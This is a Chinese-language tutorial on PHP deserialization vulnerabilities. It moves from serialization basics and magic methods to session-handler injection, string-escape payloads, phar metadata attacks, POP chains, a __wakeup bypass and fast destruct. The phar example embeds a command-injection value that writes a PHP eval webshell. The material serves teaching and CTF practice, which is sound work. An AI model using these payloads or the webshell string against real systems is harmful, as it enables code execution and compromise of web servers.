php反序列化漏洞

​ 本文我会先将一些PHP基础进行阐述,然后再讲解php反序列化漏洞如何应用

PHP面向对象

面向对象(Object-Oriented,简称 OO)是一种编程思想和方法,它将程序中的数据和操作数据的方法封装在一起,形成”对象”,并通过对象之间的交互和消息传递来完成程序的功能。面向对象编程强调数据的封装、继承、多态和动态绑定等特性,使得程序具有更好的可扩展性、可维护性和可重用性。

在面向对象的程序设计(英语:Object-oriented programming,缩写:OOP)中,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

在现实世界里我们所面对的事情都是对象,如计算机、电视机、自行车等。

对象的主要三个特性:

  • 对象的行为:对象可以执行的操作,比如:开灯,关灯就是行为。
  • 对象的形态:对对象不同的行为是如何响应的,比如:颜色,尺寸,外型。
  • 对象的表示:对象的表示就相当于身份证,具体区分在相同的行为与状态下有什么不同。

面向对象编程的三个主要特性:

  • 封装(Encapsulation):指将对象的属性和方法封装在一起,使得外部无法直接访问和修改对象的内部状态。通过使用访问控制修饰符(public、private、protected)来限制属性和方法的访问权限,从而实现封装。
  • 继承(Inheritance):指可以创建一个新的类,该类继承了父类的属性和方法,并且可以添加自己的属性和方法。通过继承,可以避免重复编写相似的代码,并且可以实现代码的重用。
  • 多态(Polymorphism):指可以使用一个父类类型的变量来引用不同子类类型的对象,从而实现对不同对象的统一操作。多态可以使得代码更加灵活,具有更好的可扩展性和可维护性。在 PHP 中,多态可以通过实现接口(interface)和使用抽象类(abstract class)来实现。

面向对象内容

  • − 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。
  • 对象 − 是类的实例。
  • 成员变量 − 定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可成为对象的属性。
  • 成员函数 − 定义在类的内部,可用于访问对象的数据。
  • 继承 − 继承性是子类自动共享父类数据结构和方法的机制,这是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把这个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。
  • 父类 − 一个类被其他类继承,可将该类称为父类,或基类,或超类。
  • 子类 − 一个类继承其他类称为子类,也可称为派生类。
  • 多态 − 多态性是指相同的函数或方法可作用于多种类型的对象上并获得不同的结果。不同的对象,收到同一消息可以产生不同的结果,这种现象称为多态性。
  • 重载 − 简单说,就是函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。
  • 抽象性 − 抽象性是指将具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象,它反映了与应用有关的重要性质,而忽略其他一些无关内容。任何类的划分都是主观的,但必须与具体的应用有关。
  • 封装 − 封装是指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内。
  • 构造函数 − 主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。
  • 析构函数 − 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。析构函数往往用来做”清理善后” 的工作(例如在建立对象时用new开辟了一片内存空间,应在退出前在析构函数中用delete释放)。

PHP 类定义

对于php序列化研究需了解php类定义

PHP 定义类通常语法格式如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
class phpClass {
var $var1;
var $var2 = "constant string";

function myfunc ($arg1, $arg2) {
[..]
}
[..]
}
?>

解析如下:

  • 类使用 class 关键字后加上类名定义。
  • 类名后的一对大括号({})内可以定义变量和方法。
  • 类的变量使用 var 来声明, 变量也可以初始化值。
  • 函数定义类似 PHP 函数的定义,但函数只能通过该类及其实例化的对象访问。

php序列化与反序列化

什么是序列化

序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象

序列化后的格式:
布尔型

1
2
3
b:value
b:0 //false
b:1 //true

整数型

1
2
3
i:value
i:1
i:-1

字符型

1
2
s:length:"value";
s:4:"aaaa";

NULL型

1
N;

数组

1
2
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}

对象

1
2
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

注意:

  • O为大写的英文字母
  • “O”表示对象,“6”表示对象名长度为6,“person”为对象名,“3”表示有3个参数
  • s:4:"name";N;:这表示名为”name”的属性,其值为N。在某些序列化格式中,N 可能表示 null 或空值。
  • s:3:"age";i:19;:这表示名为”age”的属性,其值为整数 19。
  • s:3:"sex";N;:这表示名为”sex”的属性,其值为N,可能也是 null 或空值。

序列化格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

PHP序列化需注意以下几点:

1、序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

反序列化

将特定格式的字符串转换成对象

魔术方法(magic函数)

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__construct()            //类的构造函数,创建对象时触发

__destruct() //类的析构函数,对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set() //在给不可访问属性赋值时触发

__isset() //当对不可访问属性调用 isset() 或 empty() 时触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当尝试以调用函数的方式调用一个对象时触发

__sleep() //执行serialize()时,先会调用这个方法

__wakeup() //执行unserialize()时,先会调用这个方法

__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化漏洞的常见起点:
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化漏洞的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化漏洞的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

我们需要重点关注一下5个魔术方法,所以再强调一下:

1
2
3
4
5
6
7
8
9
__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法能触发的因素太多,所以有必要列一下:

1
2
3
4
5
6
7
8
 echo($obj)/print($obj)打印时会触发 
反序列化对象与字符串连接时
反序列化对象参与格式化字符串时
反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
反序列化对象参与格式化SQL语句,绑定参数时
反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

反序列化实例

ex1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>

image-20231013211612184

ex2

_sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class test
{
public $variable = '变量反序列化后都要销毁'; //公共变量
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束,会调用__destruct
?>

image-20231013212302745

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

public、protected、private

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问。

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。

private(私有):私有的类成员则只能被其定义所在的类访问。

注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

其中:\x00表示空字符,但是还是占用一个字符位置(空格),如下例

%00也可以表示空字符

PHP反序列化漏洞

PHP反序列化漏洞原理

序列化和反序列化本身没有问题,

但是反序列化内容用户可控

后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

防范方法

1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

php_session序列化及反序列化问题

3.3.1 简介

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php提供session.serialize_handler "php" PHP_INI_ALL可以来设置以上的处理器

测试的时候php版本一定要大于5.5.4(具体版本未测试,不然session写不进文件)

当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"在经过php解析后是被看成键名,后面就是一个实例化test对象的注入

ex3:

1
2
3
4
5
6
7
8
9
10
1. php.ini先设置session.serialize_handler为php_serialize
2. http://localhost/1.php?a=|O:4:%22test%22:0:{}
3. 删掉注释再次访问
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

删除注释后再次访问得到

1
2
3
4
5
6
7
8
9
array(2) {
["a:1:{s:1:"a";s:16:""]=>
object(__PHP_Incomplete_Class)#1 (1) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
}
["a"]=>
string(16) "|O:4:"test":0:{}"
}

image-20231015111504053

默认php方式和修改为php序列化方式输出的session文件是不一样的

1
2
3
4
//默认php方式
a:1:{s:1:"a";s:38:"|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}a|s:16:"|O:4:"test":0:{}";
//php序列化

不同处理器存储方式不同

实际利用

1.session.auto_start=On

1
2
Q:session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器\session)相关参数是无效的。
A:先销毁注册的session,然后设置处理器,再调用session_start()注册session

先将php中session.serialize_handler设置为php
ex4:

1
2
3
4
5
6
7
<?php
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

流程:

1
2
3
1、提交链接:foo1.php?a=|O:8:"stdClass":0:{}
其中session数据是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次访问时,php会先按php.ini里设置的序列化处理器反序列化存储的数据(所以只能注入一些php内置类)

可以看到成功生成临时文件

image-20231015131236271

2.session.auto_start=Off

当两个脚本的序列化处理器不同就会有问题出现

ex5:

foo1.php
1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
foo2.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}

class lemon{...}:这部分定义了一个名为”lemon”的PHP类。

  • var $hi;:这一行定义了一个类成员变量(属性)$hi,但没有指定它的初始值。
  • function __wakeup() {...}:这是一个魔术方法(magic method)__wakeup,在对象从序列化中被反序列化时会被自动调用。在这个方法中,它会输出字符串”hi”。
  • function __destruct() {...}:这是另一个魔术方法__destruct,在对象被销毁时会被自动调用。在这个方法中,它会输出属性$hi的值。
构造好链接:
1
192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}

image-20231015131801925

然后访问foo2.php,就会执行代码,输出hilemon

image-20231015131839259

字符逃逸

使用str_replace进行过滤出现了序列化后的得到的字符数量与真实字符的数量不同的情况。

具有以下特点

  • php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  • 总是先进行序列化,再进行替换修改操作。

顶” 出来的payload就会被当做当前类的属性被继续执行。

闭合当前的变量,而因为长度错误所以此时php把闭合的双引号当做了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误。就可以控制后面变量的值了。

第一种情况:替换修改后导致序列化字符串变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class atlantic{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->code=0;
}
}
$u=new atlantic('admin',(123456));
echo serialize($u);
?>

这段代码生成的序列化内容为

O:8:”atlantic”:3:{s:8:”username”;s:5:”admin”;s:8:”password”;i:123456;s:4:”code”;i:0;}

然后添加一个过滤的函数,得到新的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class atlantic{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->code=0;
}
}
function filter($s){
return str_replace('admin','hacker',$s);
}

$u = new atlantic('admin','123456');
$us = serialize($u);
$n = filter($us);
echo $n;
//O:8:"atlantic":3:{s:8:"username";s:5:"admin";s:8:"password";i:123456;s:4:"code";i:0;}
//O:8:"atlantic":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:4:"code";i:0;}
?>

image-20231014221258551

进行一个拼接得到

1
;s:8:"password";s:6:"123456";s:4:"code";i:0;}

拼接到第17行的admin后面

image-20231014222222605

1
O:8:"atlantic":3:{s:8:"username";s:50:"admin;s:8:"password";s:6:"123456";s:4:"code";i:0;}";s:8:"password";s:6:"123456";s:4:"code";i:0;}

通过计算添加admin是序列化后的字符数量与替换后的相同image-20231014225751775

逃逸是对序列化后的字符串进行一个替换

第二种情况——替换之后导致序列化字符串变短

一般是传入多个变量的值的时候可以利用

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

image-20231015205422930

接下来利用漏洞,通过输入name和sign来间接修改number的值:

1
?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:2:"nb";}

通过修改name传入的值使得name的长度刚好为反序列化替代后的字符串长度完成闭合

image-20231015210227401

phar反序列化

参考

phar反序列化过程中,对metadata进行解析的时候会进行php_var_unserialize()将Phar中的metadata进行反序列化

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature签名,放在文件末尾。

就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

生成phar文件

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class filter{
public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问之后会在同目录生成 phar.phar 文件,放到IDA查看文件结构

image-20231017195032194

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
https://paper.seebug.org/680/得知:有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过`phar://`伪协议解析phar文件时,都会将`meta-data`进行反序列化,测试后受影响的函数如下:(大佬的图)

17c4c630-b5f7-4e02-af48-160cd8fcf73a

POP链构造

PHP反序列化漏洞之魔术方法_php反序列化魔术方法-CSDN博客

POP链简介

1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

反序列化常见起点

方法名 调用条件
__wakeup 一定会调用
__destruct 一定会调用
__construct 一定会调用
__toString 当一个对象被反序列化时

反序列化常见跳板

方法名 调用条件
__toString 当一个对象被反序列化时
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

反序列化常见终点

方法名 调用条件
__call 调用不可访问或不存在的方法时调用
call_user_func 执行php代码
call_user_func_array 执行php代码

POP链利用技巧

1、一些有用的POP链中出现的方法:

1
2
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

2、反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

1
s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

__wakeup() bypass

在不想执行 __wakeup() 的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
Class User{
public $name="Bob";


function __destruct(){
echo"nameis Bob </br>";
}

function __wakeup(){
echo"exit</br>";
}

}
@var_dump(unserialize($_POST["u"]));

POST参数 O:4:"User":1:{s:4:"name";s:3:"Bob";}

1
2
3
4
5
6
exit

object(User)[1]
public 'name' => string 'Bob' (length=3)

nameis Bob

如果在某些情况下不想让 __wakeup() 执行,可以将 “User” 后的 1 改为一个比 1 大的数字。

POST参数 O:4:"User":2:{s:4:"name";s:3:"Bob";}

1
2
3
nameis Bob

booleanfalse

fast destruct

参考

__PHP_Incomplete_Class 不完整的类

在PHP中,当我们在反序列化一个不存在的类时,会发生什么呢

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';

var_dump(unserialize($raw));

/*Output:
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "A"
["a"]=>
string(1) "b"
}*/

可以发现PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类,我们看到的序列化结果不是O:22:"__PHP_Incomplete_Class_Name":2:{xxx}而是O:1:"A":1:{s:1:"a";s:1:"b";}

Fast destruct是什么呢,在著名的php反序列工具phpgc中提及了这一概念。具体来说,在PHP中有:

1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

在这个题目中,反序列化得到的对象被赋给了$res导致__destruct在程序结尾才被执行,从而无法绕过perg_match代码块中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct,绕过反序列化报错。

一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct,其中的几种方式如下

1
2
3
4
#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

触发__tostring()魔术方法

使用PHP引用为die()中的变量赋值,使得反序列化对象参与格式化字符串,进而触发__tostring()魔术方法